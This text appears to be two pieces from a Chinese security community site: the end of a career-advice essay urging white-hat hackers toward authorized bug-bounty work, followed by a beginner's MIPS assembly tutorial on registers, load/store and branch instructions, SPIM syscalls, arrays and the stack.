1.实战成长，找有授权的项目做，SRC的漏洞悬赏、乙方公司的服务项目、众测平台的项目、H1等海外平台的项目，不要做私人的项目防止未授权，做更多新的授权项目或者挖SRC新的域名，碰到无法解决的问题请教学习解决之，卡住了寻找探索新的思路去使用扩展，在这里有一个非常有效的办法就是去看那些公开的漏洞，如何挖的，背后的漏洞原理是什么，寻找的过程是怎样；
2.潜心学习，互联网下书籍和文章很多，各种大会的ppt更是满天飞，就像是找一本5000页的书花一段时间消化它，再做个实验实现它，若有一个老师教授，设立一个一个问题去让你研究材料解决，那么会非常快，现在的很多ctf也是这样的路线，只不过有些低质量的ctf题目纯粹是脑筋急转弯的体力活。很多人用闭关一段时间再出来实战再闭关再实战的方式，很不错；
3.经验的工具化，让自己的字典更加强大，让poc集更多，让信息收集和利用的过程更加简易，让原来10分钟的事情现在10秒完成，网络安全发展这么多年其实能称之为新的突破的知识其实更新频次是非常低的，但是把所有现有的经验沉淀下来非常不容易，成型的metasploit神器对你来说已经够用，但有些人还会在上面封装一层去优化，让工具更便捷、让渗透更高效。不管你擅长c、php、python或者是java，你都需要思考工具化，ASRC有位大哥易语言贼6。
**「三」设立目标** 职业生涯黄金年龄就那么十几年，之后很难再起。阶段性的给自己一个“胶带”很重要。
做技术理想状态下给自己三年无论在哪潜心修炼摸索实践，三年后一波小爆发。其中设立一些里程碑、进度条。三年完成再下一个三年。
实际来看大多人本是平凡人，太长远的目标虚无缥缈，所以回归短期来看，可以以一个荣誉为目标，获得后再争取更高的荣誉；以写一个工具为目标，拥有自己的渗透套件；以一个厂商的严重漏洞、cve等为目标，物质+荣誉；以一个证书为目标，oscp类考试学习成长很大；以一个岗位为目标，看岗位要求努力学习面试。目标必须是为之努力的过程确实能给自己带来能力上的提升，或者拿到后给自己有buff加成的，否则意义不大。
是不是有一种玩游戏的感觉，过一关又过一关。职业生涯其实也是一种游戏，掌握游戏规则最重要。
**「四」找到合适的环境** 人与人不同，很多人原本向往大甲方，但真正去了后又离开投入别的事业。就像爱情，总要找到合适的人。
一去甲方，大型互联网公司如阿里往往有很高的天花板资源多足够学习挺久施展空间也很大，为上亿用户提供安全保障，服务上千万商家，如果能力还要成长那先找个公司服务几万用户也不错，但总要来见识下；
二在乙方，安全服务工程师大部分项目制，做完赶赴另一个项目节奏感明显，研究团队则能在技术领域钻研较深，乙方有不以结果重导向的环境；
三是自由职业，这一点和轻松的甲方及大部分乙方可以并存。五六年前就有人说，做白帽子挖漏洞不长久，其实不然。我们处在信息化飞速发展的时代，每年大型互联网公司中都有数百个创新的项目在等待开发上线，也有无数的功能被更新、代码被回滚，而即使是强如谷歌微软阿里，也总有开发新人换旧人而自带安全技能的开发没那么多，还有无数的传统企业正在经历互联网的洗礼逐渐开启安全的心智上网上云，你不测试总有别人发现宝藏。SRC和众测作为业内成熟的形态，若你在一个圈子玩久了成为核心，总能有更多机会获得更有利的资源，也会认识更多优秀的伙伴互相帮助成长，加入一个团队也是很好的选择。
本月初ASRC与先知联合推出了[王牌A计划2.0](http://mp.weixin.qq.com/s?__biz=MzIxMjEwNTc4NA==&mid=2652990278&idx=1&sn=3eec990cdc874b9896ee4bdf66713fa3&chksm=8c9ee411bbe96d0798338035cae494adfd90a3a773a7e31895b25a741f2e8f4c59e59eb98063&scene=21#wechat_redirect)，旨在打造一个更好的白帽社区环境，王牌A简单说是会员体系。
ASRC平台获得奖金最多的白帽已经在平台累计获得了200万+的税后奖金，
先知平台的顶尖白帽年入百万。我们给予表现突出的白帽更优的福利，黑桃A可以额外获得100%，且能参与大部分先知私密项目，但是获得难度也非常大。
王牌A意味着什么？用奖励简单说，黑桃A意味着月入30万的能力，红桃A意味着月入5万的能力，方块A意味着月入2万的能力。当然这只是baseline，大多方块月入远超。王牌A们聚在一起，战斗力爆棚！
除了上述这些，认识一些安全圈的朋友，多见识见识参加一些会议甚至BlackHat，有较好的英语-国际化能力与外国黑客互动，都能为成长带来一些非技术的成长。如果你是社区核心，有时不需要你主动寻找去参加，像1月10日阿里白帽大会都会主动找阿里核心白帽来与其他白帽一聚。有朋自远方来又能倾听学习猪猪侠、jkgh006、二哥gainover、顶尖白帽小灰灰的卓越演讲，参与讨论了解别人的故事集思广益说不定能为你来带新的成长，不亦乐乎？不沉迷此道即可。
安全已经不是几年前那种靠一点技术脑门一热就能博眼球show技能搞pr的时代，今年是一个节点，如今硬碰硬的对抗无处不在，唯有沉心修炼循序渐进方能开云见日修成正果。 | 社区文章 |
## Mips是个啥？
MIPS：无互锁流水级的微处理器(Microprocessor without Interlocked Piped Stages)
MIPS架构（英语：MIPS architecture，为Microprocessor without Interlocked Pipeline
Stages的缩写，亦为Millions of Instructions Per
Second的头字语），是一种采取精简指令集（RISC）的处理器架构，1981年出现，由MIPS科技公司开发并授权，广泛被使用在许多电子产品、网络设备、个人娱乐设备与商业设备上。最早的MIPS架构是32位，最新的版本已经变成64位。
## 机器周期
大多数计算机处理器都会不断地重复三个基本步骤。每个机器周期内会执行一条机器指令。一个现代的计算机处理器每秒钟运行数百万次机器周期。
一条机器指令是由一串对应着处理器基本操作的二进制码组成的，在不同的处理器架构中，机器周期的组成也不相同，但他们的基本行为都包含下面三个主要步骤：
* 从内存中读取指令：指令存放在内存中，PC _(Program Counter)_ 存放了指令在内存中的地址
* PC=PC+4：让PC指向下一条指令所在的地址
* 执行所得到的指令
## 汇编语言
机器指令是由0,1的二进制码构成的因而人类无法阅读。相对应地，汇编语言允许我们使用相应的代码来编写指令。下面是对应的机器码和汇编语言：
**machine instruction**
`0000 0001 0010 1011 1000 0000 0010 0000`
**assembly language statement**
add $t0,$t1,$t2
这条指令的意思是：寄存器`$t0,$t1,$t2`间
$t0 = $t1 + $t2
## 寄存器种类
* MIPS下一共有32个通用寄存器
* 在汇编中，寄存器标志由$符开头
* 寄存器表示可以有两种方式
* 直接使用该寄存器对应的编号，例如：从$0到$31
* 使用对应的寄存器名称，例如：`$t1,$`sp
* 对于乘法和除法分别有对应的两个寄存器`$lo,$`hi
* 对于以上二者，不存在直接寻址；必须要通过`mfhi(“move from hi”)`以及`mflo(“move from lo”)`分别来进行访问对应的内容
* 乘法：`HI` 存储32位高位， `LO`存储32位低位
* 除法：`LO`存储结果，`HI`存储余数
* 栈的走向是从高地址到低地址
### $0
即`$zero`,该寄存器总是返回零，为0这个有用常数提供了一个简洁的编码形式。
move $t0,$t1
#实际为
add $t0,$0,$t1
### $1
即`$at`，该寄存器为汇编保留，由于I型指令的立即数字段只有16位，在加载大常数时，编译器或汇编程序需要把大常数拆开，然后重新组合到寄存器里。比如加载一个32位立即数需要
lui（装入高位立即数）和addi两条指令。像MIPS程序拆散和重装大常数由汇编程序来完成，汇编程序必需一个临时寄存器来重组大常数，这也是为汇编保留`$at`的原因之一。
### $2..$3
即`$v0-$v1`，用于子程序的非浮点结果或返回值，对于子程序如何传递参数及如何返回，MIPS范围有一套约定，堆栈中少数几个位置处的内容装入CPU寄存器，其相应内存位置保留未做定义，当这两个寄存器不够存放返回值时，编译器通过内存来完成。简单来说：
**一般用于存储表达式或者函数的返回值(value的简写)**
### $4..$7
即`$a0-$a3`，用来传递前四个参数给子程序，不够的用堆栈。a0-a3和v0-v1以及ra一起来支持子程序／过程调用，分别用以传递参数，返回结果和存放返回地址。当需要使用更多的寄存器时，就需要堆栈（stack)了,MIPS编译器总是为参数在堆栈中留有空间以防有参数需要存储。
**参数寄存器(Argument简写)**
### $8..$15
即`$t0-$t7`临时寄存器，子程序可以使用它们而不用保留。 **一般用于存储临时变量(temp简写)**
### $16..$23
即`$s0-$s7`，保存寄存器，在过程调用过程中需要保留（被调用者保存和恢复，还包括`$fp`和`$ra`），MIPS提供了临时寄存器和保存寄存器，这样就减少了寄存器溢出（spilling,即将不常用的变量放到存储器的过程),编译器在编译一个叶（leaf)过程（不调用其它过程的过程）的时候，总是在临时寄存器分配完了才使用需要保存的寄存器。
**存放子函数调用过程需要被保留的数据(saved values)**
### $24..$25
即`$t8-$t9`，同`$t0-$t7`， **一般用于存储临时变量(temp简写)**
### $26..$27
即`$k0-$k1`，为操作系统／异常处理保留，至少要预留一个。
异常（或中断）是一种不需要在程序中显示调用的过程。MIPS有个叫异常程序计数器（exception program
counter,EPC)的寄存器，属于CP0寄存器，用于保存造成异常的那条指令的地址。查看控制寄存器的唯一方法是把它复制到通用寄存器里，指令`mfc0`(move
from system
control)可以将EPC中的地址复制到某个通用寄存器中，通过跳转语句（`jr`)，程序可以返回到造成异常的那条指令处继续执行。MIPS程序员都必须保留两个寄存器`$k0和$k1`，供操作系统使用。简单来说就是
**中断函数返回值，不可做其他用途**
### $28
即`$gp`，为了简化静态数据的访问，MIPS软件保留了一个寄存器：全局指针gp(global
pointer,`$gp`)，全局指针指向静态数据区中的运行时决定的地址，在存取位于gp值上下32KB范围内的数据时，只需要一条以gp为基指针的指令即可。在编译时，数据须在以gp为基指针的64KB范围内。
**指向64k(2^16)大小的静态数据块的中间地址（字面上好像就是这个意思，块的中间），GlobalPointer简写** 。
### $29
即`$sp`，MIPS硬件并不直接支持堆栈，你可以把它用于别的目的，但为了使用别人的程序或让别人使用你的程序，还是要遵守这个约定的，但这和硬件没有关系。
**栈指针，指向栈顶(Stack Pointer简写)**
### $30
即`$fp`，GNU MIPS C编译器使用了帧指针(frame
pointer),而SGI的C编译器没有使用，而把这个寄存器当作保存寄存器使用（`$s8`),这节省了调用和返回开销，但增加了代码生成的复杂性。
### $31
即`$ra`，存放返回地址，MIPS有个`jal`(jump-and-link,跳转并
链接)指令，在跳转到某个地址时，把下一条指令的地址放到`$ra`中。用于支持子程序，例如调用程序把参数放到`$a0`~`$a3`，后`jal
X`跳到X过程，被调过程完成后把结果放到`$v0`,`$v1`，然后使用`jr $ra`返回。 **栈指针，指向栈顶(Stack Pointer简写)**
## 程序结构（Program Structure）
* 本质其实就只是数据声明+普通文本+程序编码（文件后缀为.s，或者.asm也行）
* 数据声明在代码段之后（其实在其之前也没啥问题，也更符合高级程序设计的习惯）
### 数据声明（Data Declarations）
* 数据段以 **.data** 为开始标志
* 声明变量后，即在主存中分配空间。
### 代码（Code）
* 代码段以 **.text** 为开始标志
* 其实就是各项指令操作
* 程序入口为 **main：** 标志（这个都一样啦）
* 程序结束标志（详见下文）
### 注释（Comments）
感觉和c是有点像的
# Comment giving name of program and description of function
# 说明下程序的目的和作用（其实和高级语言都差不多了）
# Template.s
#Bare-bones outline of MIPS assembly language program
.data # variable declarations follow this line
# 数据变量声明
# ...
.text # instructions follow this line
# 代码段部分
main: # indicates start of code (first instruction to execute)
# 主程序
# ...
# End of program, leave a blank line afterwards to make SPIM happy
# 结束
### 数据声明（Data Declarations）
name: storage_type value(s)
变量名：（冒号别少了） 数据类型 变量值
* 通常给变量赋一个初始值；对于 **.space** ,需要指明需要多少大小空间（bytes)
举个例子
var1: .word 3 # create a single integer variable with initial value 3
# 声明一个 word 类型的变量 var1, 同时给其赋值为 3
array1: .byte 'a','b' # create a 2-element character array with elements initialized
# to a and b
# 声明一个存储2个字符的数组 array1，并赋值 'a', 'b'
array2: .space 40 # allocate 40 consecutive bytes, with storage uninitialized
# could be used as a 40-element character array, or a
# 10-element integer array; a comment should indicate which!
# 为变量 array2 分配 40字节（bytes)未使用的连续空间，当然，对于这个变量
# 到底要存放什么类型的值， 最好事先声明注释下！
### 加载/保存(读取/写入) 指令集（Load / Store Instructions）
* 如果要访问内存，不好意思，你只能用 **load** 或者 **store** 指令
* 其他的只能都一律是寄存器操作
#### load
lw register_destination, RAM_source
#copy word (4 bytes) at source RAM location to destination register.
从内存中 复制 RAM_source 的内容到 对应的寄存器中
（lw中的'w'意为'word',即该数据大小为4个字节
lb register_destination, RAM_source
#copy byte at source RAM location to low-order byte of destination register,
# and sign-e.g.tend to higher-order bytes
从内存中 复制 RAM_source 的内容到 对应的寄存器中
同上， lb 意为 load byte
#### store word
sw register_source, RAM_destination
#store word in source register into RAM destination
#将指定寄存器中的数据 写入 到指定的内存中
sb register_source, RAM_destination
#store byte (low-order) in source register into RAM destination
#将源寄存器中的字节（低位）存储到内存中
#### load immediate:
li register_destination, value
#load immediate value into destination register
顾名思义，这里的 li 意为 load immediate，将立即值加载到目标寄存器
综上，举个例子
.data
var1: .word 3 # declare storage for var1; initial value is 3
# 先声明一个 word 型的变量 var1 = 3;
.text
__start:
lw $t0, var1 # load contents of RAM location into register $t0: $t0 = var1
# 令寄存器 $t0 = var1 = 3;
li $t1, 5 # $t1 = 5 ("load immediate")
# 令寄存器 $t1 = 5;
sw $t1, var1 # store contents of register $t1 into RAM: var1 = $t1
# 将var1的值修改为$t1中的值： var1 = $t1 = 5;
done
### 立即与间接寻址（Indirect and Based Addressing）
#### load address：
直接给了地址
la $t0, var1
#copy RAM address of var1 (presumably a label defined in the program) into register $t0
将 var1 的 RAM 地址（大概是程序中定义的标签）复制到寄存器 $t0
#### indirect addressing：
地址是寄存器的内容（可以理解为指针）
lw $t2, ($t0)
#load word at RAM address contained in $t0 into $t2
将 $t0 中包含的 RAM 地址处的字加载到 $t2
sw $t2, ($t0)
#store word in register $t2 into RAM at address contained in $t0
将寄存器 $t2 中的字存储到 $t0 中包含的地址的 RAM 中
#### based or indexed addressing：
+偏移量
lw $t2, 4($t0)
#load word at RAM address ($t0+4) into register $t2
#"4" gives offset from address in register $t0
将 RAM 地址 ($t0+4) 的字加载到寄存器 $t2
“4”给出寄存器 $t0 中地址的偏移量
sw $t2, -12($t0)
#store word in register $t2 into RAM at address ($t0 - 12)
#negative offsets are fine
将寄存器 $t2 中的字存储到地址为 ($t0 - 12) 的 RAM 中
负偏移也行
Note: based addressing is especially useful for:
arrays; access elements as offset from base address
stacks; easy to access elements at offset from stack pointer or frame pointer
不必多说，要用到偏移量的寻址，基本上使用最多的场景无非两种：数组，栈。
综上举个例子
.data
array1: .space 12 # declare 12 bytes of storage to hold array of 3 integers
# 定义一个 12字节 长度的数组 array1, 容纳 3个整型
.text
__start: la $t0, array1 # load base address of array into register $t0
# 让 $t0 = 数组首地址
li $t1, 5 # $t1 = 5 ("load immediate")
sw $t1, ($t0) # first array element set to 5; indirect addressing
# 对于 数组第一个元素赋值 array[0] = $1 = 5
li $t1, 13 # $t1 = 13
sw $t1, 4($t0) # second array element set to 13
# 对于 数组第二个元素赋值 array[1] = $1 = 13
# (该数组中每个元素地址相距长度就是自身数据类型长度，即4字节， 所以对于array+4就是array[1])
li $t1, -7 # $t1 = -7
sw $t1, 8($t0) # third array element set to -7
# 同上， array+8 = （address[array[0])+4）+ 4 = address(array[1]) + 4 = address(array[2])
done
### 算数指令集（Arithmetic Instructions）
* 最多3个操作数
* 操作数只能是寄存器，绝对不允许出现地址
* 所有指令统一是32位 = 4 * 8 bit = 4bytes = 1 word
add $t0,$t1,$t2 # $t0 = $t1 + $t2; add as signed (2's complement) integers
添加为有符号（2 的补码）整数
sub $t2,$t3,$t4 # $t2 = $t3 - $t4
addi $t2,$t3, 5 # $t2 = $t3 + 5; "add immediate" (no sub immediate)
“添加立即数”（没有子立即数）
addu $t1,$t6,$t7 # $t1 = $t6 + $t7; add as unsigned integers
添加为无符号整数
subu $t1,$t6,$t7 # $t1 = $t6 + $t7; subtract as unsigned integers
减去无符号整数
mult $t3,$t4 # multiply 32-bit quantities in $t3 and $t4, and store 64-bit
# result in special registers Lo and Hi: (Hi,Lo) = $t3 * $t4
将$t3和$t4中的32位数量相乘，并存储 64 位
运算结果在特殊寄存器 Lo 和 Hi: (Hi,Lo) = $t3 * $t4
div $t5,$t6 # Lo = $t5 / $t6 (integer quotient)
# Hi = $t5 mod $t6 (remainder)
整数商存放在 lo, 余数存放在 hi
mfhi $t0 # move quantity in special register Hi to $t0: $t0 = Hi
不能直接获取hi或lo中的值，需要mfhi,mflo指令传值给寄存器
这里将特殊寄存器Hi中的数量移动到$t0：$t0=Hi
mflo $t1 # move quantity in special register Lo to $t1: $t1 = Lo
# used to get at result of product or quotient
将特殊寄存器 Lo 中的数量移动到 $t1： $t1 = Lo
用于获取乘积或商的结果
move $t2,$t3 # $t2 = $t3
### 控制流（Control Structures）
#### Branches
分支（if else系列），条件分支的比较内置于指令中
b target # unconditional branch to program label target
无条件分支到程序标号
beq $t0,$t1,target # branch to target if $t0 = $t1
如果 $t0 = $t1 则分支到目标
blt $t0,$t1,target # branch to target if $t0 < $t1
如果 $t0 < $t1 则分支到目标
ble $t0,$t1,target # branch to target if $t0 <= $t1
如果 $t0 <= $t1 则分支到目标
bgt $t0,$t1,target # branch to target if $t0 > $t1
如果 $t0 > $t1 则分支到目标
bge $t0,$t1,target # branch to target if $t0 >= $t1
如果 $t0 >= $t1 则分支到目标
bne $t0,$t1,target # branch to target if $t0 <> $t1
如果 $t0不等于$t1 则分支到目标
#### Jumps
跳转（while, for, goto系列）
j target # unconditional jump to program label target
看到就跳， 不用考虑任何条件
jr $t3 # jump to address contained in $t3 ("jump register")
类似相对寻址，跳到该寄存器给出的地址处
#### Subroutine Calls
子程序调用
subroutine call: "jump and link" instruction——子程序调用：“跳转链接”指令
jal sub_label # "jump and link"
“跳转链接”
* copy program counter (return address) to register $ra (return address register)
* 将当前的程序计数器保存到 $ra 中
* jump to program statement at sub_label
* 跳转到 sub_label 处的程序语句
subroutine return: "jump register" instruction——子程序返回：“跳转寄存器”指令
jr $ra # "jump register"
* jump to return address in $ra (stored by jal instruction)
* 通过上面保存在 $ra 中的计数器返回调用前
如果说调用的子程序中有调用了其他子程序，如此往复， 则返回地址的标记就用 栈（stack） 来存储, 毕竟 $ra 只有一个
## 系统调用 与 输入/输出(主要针对SPIM模拟器）（System Calls and I/O (SPIM Simulator)）
* 通过系统调用实现终端的输入输出，以及声明程序结束
* 学会使用 syscall
* 参数所使用的寄存器：$v0， $a0, $a1
* 返回值使用： $v0
### 系统服务指令Syscall用法
在C语言中输出文本可以使用`printf`函数,但是汇编中没有printf这么一说,如果想要输出文本,需要借助`syscall`指令
如果想要输出一个数字1,那么 **`syscall`指令从$a0寄存器中取出需要输出的数据**
因此, 你在执行`syscall`指令之前需要将数据提前放入`$a0`之中:
li $a0,1
syscall
**同时,还需要指定输出的数据类型,数据类型的指定保存在$v0寄存器中**
# $v0=1, syscall--->print_int
# $v0=4, syscall--->print_string
#### **syscall指令读写对照表**
Service | Code in `$v0` | Arguments
所需参数
| Results返回值
---|---|---|---
print_int
打印一个整型
| `$v0 = 1` | a0 = integer to be printed
将要打印的整型赋值给a0
|
print_float
打印一个浮点
| `$v0 = 2` | f12 = float to be printed
将要打印的浮点赋值给f12
|
print_double
打印双精度
| `$v0 = 3` | f12 = double to be printed
将要打印的双精度赋值给f12
|
print_string
打印字符串 | `$v0 = 4` | a0 = address of string in memory
将要打印的字符串的地址赋值给a0
|
read_int
读取整形 | `$v0 = 5` | | integer returned in v0
将读取的整型赋值给v0
read_float
读取浮点
| `$v0 = 6` | | float returned in v0
将读取的浮点赋值给v0
read_double
读取双精度
| `$v0 = 7` | | double returned in v0
将读取的双精度赋值给v0
read_string
读取字符串
| `$v0 = 8` | a0 = memory address of string input buffer
将读取的字符串地址赋值给a0
a1 = length of string buffer (n)
将读取的字符串长度赋值给a1
|
sbrk
应该同C中的sbrk()函数动态分配内存
| `$v0 = 9` | a0 = amount
需要分配的空间大小（单位目测是字节 bytes）
| address in v0
将分配好的空间首地址给v0
exit
退出
| `$v0 =10` |
* 大概意思是要打印的字符串应该有一个终止符，估计类似C中的'\0', 在这里我们只要声明字符串为 **.asciiz** 类型即可。
*
* .ascii 与 .asciiz唯一区别就是 后者会在字符串最后自动加上一个终止符， 仅此而已
* The read_int, read_float and read_double services read an entire line of input up to and including the newline character.
* 对于读取整型， 浮点型，双精度的数据操作， 系统会读取一整行，（也就是说以换行符为标志 '\n'）
> The read_string service has the same semantices as the UNIX library routine
> fgets.
>
> read_string 服务与 UNIX 库例程 fgets 具有相同的语义。
>
> It reads up to n-1 characters into a buffer and terminates the string with a
> null character.
>
> 它将最多 n-1 个字符读入缓冲区并以空字符终止字符串。
>
> If fewer than n-1 characters are in the current line, it reads up to and
> including the newline and terminates the string with a null character.
>
> 如果当前行中的字符少于 n-1 个，它会读取并包括换行符并以空字符终止字符串。
### 举点例子
#### 打印一个存储在寄存器 $2 里的整型
li $v0, 1 # load appropriate system call code into register $v0;
声明需要调用的操作代码为 1 （print_int) 并赋值给 $v0
# code for printing integer is 1
li $t2, 3 #将t2的值写为3
move $a0, $t2 # move integer to be printed into $a0: $a0 = $t2
将要打印的整型赋值给 $a0
syscall # call operating system to perform operation
#### 打印一个字符串(这是完整的，其实上面栗子都可以直接替换main: 部分，都能直接运行）
.data
string1: .asciiz "Print this.\n" # declaration for string variable,
# .asciiz directive makes string null terminated
#类似于C语言中 char* msg="hello world"
.text
main: li $v0, 4 # load appropriate system call code into register $v0;
# code for printing string is 4
打印字符串， 赋值对应的操作代码 $v0 = 4
la $a0, string1 # load address of string to be printed into $a0
将要打印的字符串地址赋值 $a0 = address(string1)
syscall # call operating system to perform print operation
#### 结束例子
li $v0, 10 # system call code for exit = 10
syscall # call operating sys
## 数据定义
定义整型数据
定义Float数据
定义Double数据
定义字符串数据
### 用户输入
字符串输入
整型数据输入
浮点型数据输入
#### 单精度和双精度
单精度数（float型）在32位计算机中存储占用4字节，也就是32位，有效位数为7位，小数点后6位。
双精度数（double型）在32位计算机中存储占用8字节，也就是64位，有效位数为16位，小数点后15位。
### 浮点寄存器
在mips中一共有32个浮点寄存器(其中包含16个双精度浮点寄存器),用于单独处理浮点数
## 函数声明和调用
### 函数声明
格式
jr ra #ra寄存器中保存着调用指令下一条代码所在的地址
### 函数调用
格式
jal 函数名
举个例子：函数传参和返回值
#需求:定义加法函数 并调用获取返回值int sum(int v,int b)
main:
addi $a1,$zero,50
addi $a2,$zero,100
jal add
li $v0,1
move $a0,$v1
syscall
#结束程序
li $v0,10
syscall
add:
add $v1,$a1,$a2
jr $ra
之心前两步之后a1和a2的值进行了改写
执行完第三步将当前的程序计数器保存到 $ra 中，也就是这里的`0x000300c`，而后我们直接跳转到了add函数
将函数值写入了v1，我们继续看下一步返回的ra，jr是跳转寄存器，通过上面保存在 $ra 中的计数器返回调用前，单步执行看一下
果然，我们跳转到了调用之前，给v0赋值的位置，也就是说这里的jr主要作用是结束一个函数的调用，
执行两步，看下结果，a0已经被成功的赋值了
执行到结束，成功输出了内容，同时优雅退出程序
## 针对栈的操作
主要是栈空间的拉伸和平衡
### 入栈和出栈
嵌套函数通过栈保护`$ra`来记录函数的地址，保证函数的调用和返回
### 内存空间布局
我们在使用Mars的时候其实就已经在进行对内存空间的改写和编辑了，就比如说这里
其中栈的结构用途来表示就是这样的
栈的伸缩在mips和x86架构中都是从高地址往低地址进行伸缩，在arm架构中可以升序也可以降序
### 内存碎片
在内存动态分配（heap区）过程中容易出现一些小且不连续的空闲内存区域,这些未被使用的内存称作内存碎片
我们可以将其分成内部碎片和外部碎片
#### 内部碎片
比如数据在内存中采用4个字节对齐的方式进行存储,
比如我们申请一块3个字节的空间用于存储一个数据,但是系统给我们分配了4个字节空间,这时多出来的一个字节的空间就被称之为内部碎片
#### 外部碎片
在我们进行内存回收和分配的时候容易出现外部碎片,比如我连续申请了三块4个字节的内存空间,当我释放第二块内存空间然后紧接着申请一块8个字节的空间,此时由于之前释放的4个字节空间太小无法使用,这就造成了内存块空闲,这种碎片叫做外部碎片
## PC寄存器
**程序计数寄存器(Program Counter Register)** :用于存储程序即将要执行的指令所对应在内存中的实际物理地址,
如果改变该值可以让指令跳转到我们想要跳转的地方
那么如何修改pc寄存器中的值呢？
我们可以使用转移指令
jr #类似相对寻址，跳到该寄存器给出的地址处
jal #将当前的程序计数器保存到 $ra 中，跳转到 sub_label 处的程序语句
j #看到就跳，不用考虑任何条件
## 内存数据的读写
### 从指定内存中读取数据
从内存中读取数据的宽度取决于寄存器的大小，由于32位cpu寄存器最大储存32位数据
因此`lw $t0`表示一次性读取四个细节的数据到`$t0`寄存器
如果想要连续读取八个字节的数据，那么需要使用`$ld`这个伪指令
>
> .data
> LEN:
> .word 12
> .text
> ld $6, LEN
>
> 它说基本代码
>
>
> lui $1, 0x00001001
> lw $6, 0x00000000($1)
> lui $1, 0x00001001
> lw $7, 0x00000004($1)
>
> lw指令似乎可以完成所需的所有操作：它将32位特定地址0x00000000加载到寄存器$ 6中，并将随后的32位加载到后续寄存器中。
>
> lui指令对我而言似乎毫无用处。 它甚至两次做同一件事，为什么呢？
>
> 它用作lw指令的偏移量，但必须具有两倍的相同值，否则我们不会在内存地址获得64位，而是两个"随机" 32位？
>
> 解释下
>
> ld是"加载双字"(64b)，它将加载指定的寄存器+下一个寄存器，因此$6表示ld中的$6+$7
所以`ld $t0`，表示一次性读取8个字节的数据到t0
### 往指定内存中写入数据
第一种
#整型数据
li $s1,4
sw $s1,0x10010000 #将$s1寄存器中的数据存入0x10010000这个物理地址
#单精度浮点数
.data
f1: .float 3.14
.text
lwc1 $f2,f1
swc1 $f2,0x10010000
#双精度浮点数
.data
d1: .double 3.14
.text
ldc1 $f2,d1
sdc1 $f2,0x10010000
对于整形数据来说，我们将代码放到mars中跑一下看看，这里对应的值a1也发生了改变，与此同时`$at`(保留寄存器）位置也发生了偏移，也就是说保留的空间整体都发生了偏移。同时多出了一行原指令，这其实代表了将sw拆分成为了两条指令执行，首先是执行了lui，也就是取了`$at`中的立即数，也就是获取保留的内容，然后再用sw将`$at`中保留的内容给`$s1`存入内存，最终的结果就是将`$s1`寄存器中的数据存入0x10010000这个物理地址
对单精度的浮点数进行测试，因为我们提前再数据段写入了数据，也就是f1的值，这样数据段地址的值就发生了变化。再通过lwc1（lwc1指令是针对FPU(协处理器)，也就是针对浮点数专门拎出来的一条指令。功能与lw一样。）把f1的值读到`$f2`。这里对swc1的处理也是分成了两条来进行，基本和上面的过程一样，首先是执行了lui，也就是取了`$at`中的立即数，也就是获取保留的内容，然后再用swc1将`$at`中保留的内容给`$f2`存入内存，最终的结果就是将`$f2`寄存器中的数据存入0x10010000这个物理地址
继续看双精度浮点数的测试，因为双精度浮点数会占用64位也就是八个字节的大小来存储数据，所以再数据段中会占八个字节来进行存储，之后我们将d1的值通过ldc1，其实就是ld，ld其实是ldc1的别名，是加载双字的意思，也就是加载64位，相当于加载了8个字节。它会将加载指定的寄存器+下一个寄存器，因此`ldc1
$f2,d1`，也就是`ldc1
$f2+$f3,d1`，所以f2和f3都有值。后面也是将sdc1拆分成了两条命令执行，基本和上面的过程一样，首先是执行了`lui`，也就是取了`$at`中的立即数，也就是获取保留的内容，然后再用swc1将`$at`中保留的内容给`$f2`存入内存，最终的结果就是将`$f2`寄存器中的数据存入0x10010000这个物理地址
第二种，在代码段中使用指令
以上直接使用的是简单粗暴的十六进制表示物理地址,很多时候内存的地址会保存在寄存器中,你可能会看到以下写法:
lw $s1, $s2
sw $s1, $s2
或者
lw $s1, 20($s2)
sw $s1, 20($s2) ;将地址往高位偏移20个字节 相当于sw $s1, 20+$s2
或者
lw $s1, -20($s2)
sw $s1, -20($s2) ;将地址往低位偏移20个字节
但是要注意，往指定内存中读取和写入数据时，代码段不允许直接写入和读取
我们单步执行可以看到，我们将在内存中存储的`$s2`的20个字节加载到了`$s1`中，也就是加载到了寄存器里，执行之后s1就有了值，然后通过sw将寄存器的值在写回内存，加了20个字节，这样原本在内存中的`$s1`也就向高位偏移了20个字节
## 一组数组的定义
数组本质上就是多个数据的集合，在内存中按照一定顺序排列，角标即为每个数据的偏移值，在mips中内存数据是按照4个字节进行对齐的，也就是说一个数据最少占用4个字节内存空间，因此数组中数据之间的偏移量固定为`n*4`，n为角标值
.data
array: .space 20 #别名的另外一种用法 通过array(寄存器)这种格式 寄存器中存放地址偏移地址量
.text
# $t0寄存器存放角标值*4之后的偏移量 $s1中存放需要存入的值
li $s1,1
li $t0,0
sw $s1,array($t0) #相当于 sw $s1,array+$t0
li $s1,2
li $t0,4
sw $s1,array($t0)
li $s1,3
li $t0,8
sw $s1,array($t0)
我们把它放到mars中看下
.data段中存放了下偏移量，之后进入.text段，先将s1中存入一个值，然后将t0赋一个值，也就是这里的偏移量，然后执行sw存字，将s1的值从寄存器0个偏移的位置取出存入内存。这里我截图截的是在进行完第二段之后的状态，这里就很直观了，可以看到t0中存入了4，这里也就代表着偏移量为4，在下面的+4位置上正好可以看到s1所存放的值，第三段同理。
那么我们怎么输出他呢？也就是怎么打印出来呢？
.data
array: .space 20
.text
#初始化数组中的数据
li $s1,1
li $t0,0
sw $s1,array($t0)
li $s1,2
li $t0,4
sw $s1,array($t0)
li $s1,3
li $t0,8
sw $s1,array($t0)
#查找角标为2的数值
getData:
la $s1 ,array
li $a0,2
mul $a0,$a0,4
add $s1,$s1,$a0
lw $a0,0($s1)
li $v0,1
syscall
#将角标临时置为0 方便下面循环操作
li $t0,0
while:
beq $t0,12,exit
lw $t2,array($t0)
addi $t0,$t0,4
li $v0,1
move $a0,$t2
syscall
j while
exit:
li $v0,10
syscall
我们分段来看，先看如何查找角标为2的数值。先将array的地址传入s1，将s1初始化。因为我们要查询角标为2的值，所以我们将a0的值加载为立即数2，因为存储的时候是四个字节一组，所以我们将a0，也就是角标乘4，获得开始的地址，然后把s1的值和a0的值相加得到想要获取的数值的偏移量，此时的s1就是8了，然后我们知道了偏移量和初始地址，通过lw来进行读取，此时的a0内就存放了从第八位开始的值，也就是角标为2的时候的值了。
我们再看第二段，将角标临时设置为0的。
首先先初始化寄存器`$t0`的值为 0。然后进入一个循环，如果`$t0`的值等于
12，则跳转到`exit`标签处结束程序。从数组`array`中读取数据，存入寄存器`$t2`中。将寄存器`$t0`的值加
4，以便在下一次循环中读取下一个整数。输出寄存器 $t2 中的整数。通过跳转回`while`标签处，继续循环读取下一个整数。循环结束后，执行 exit
